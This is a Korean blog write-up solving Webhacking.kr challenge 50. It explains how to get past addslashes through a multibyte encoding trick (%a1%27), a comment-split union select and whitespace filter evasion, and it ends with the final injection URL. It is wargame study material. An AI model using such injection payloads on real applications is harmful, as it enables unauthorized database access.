안녕하세요.
웹 해킹 50번 문제풀이 하겠습니다.
문제를 확인해보면, SQL INJECTION 관련 문제인 것을 알 수 있습니다.
소스코드를 확인해보겠습니다.
위 소스코드에서
addslashes 함수는 매개변수로 넘겨준 문자열 안에 single quote(') 혹은 double quote("), 백슬래쉬(\), NULL 바이트등 특수문자 앞에 역슬래시(\)를 추가해주는 함수입니다.
mb_covert_encoding 함수를 통해 id 값을 'euc-kr'에서 'utf-8'로 인코딩 해주고 있습니다.
또한, from, pw, 공백등 문자열이 필터링되고 id는 union이 추가적으로 필터링 되고 있습니다.
우리는 최종적으로 쿼리가 lv=3일때, 문제를 해결할 수 있습니다.
그렇다면 쿼리를 lv=3으로 만드는 방법은
1. select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
id ='' and pw = md5('') 이러한 형식으로 쿼리가 전달 되므로
id = '/*' and pw = md5(*/'union select 3#')
2. select lv from chall50 where id='/*' and pw = md5(*/'union select 3#')
-> select lv from chall50 where id='union select 3#')
-> lv=3
근데, 여기서 공백이 필터링 되므로 %09 #은 %23으로 '(싱글쿼터)는 %aa로 우회한다.
최종적으로, 아래 쿼리를 URL에 입력하면 문제를 해결할 수 있습니다.
id=guest%a1%27/*&pw=*/union%0aselect%0a3%23
감사합니다.
'Hacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 49번 문제풀이 (0) | 2021.07.23 |
---|---|
Webhacking.kr 48번 문제풀이 (0) | 2021.03.17 |
Webhacking.kr 47번 문제풀이 (0) | 2021.02.23 |
Webhacking.kr 46번 문제풀이 (0) | 2021.02.19 |
Webhacking.kr 45번 문제풀이 (0) | 2021.02.17 |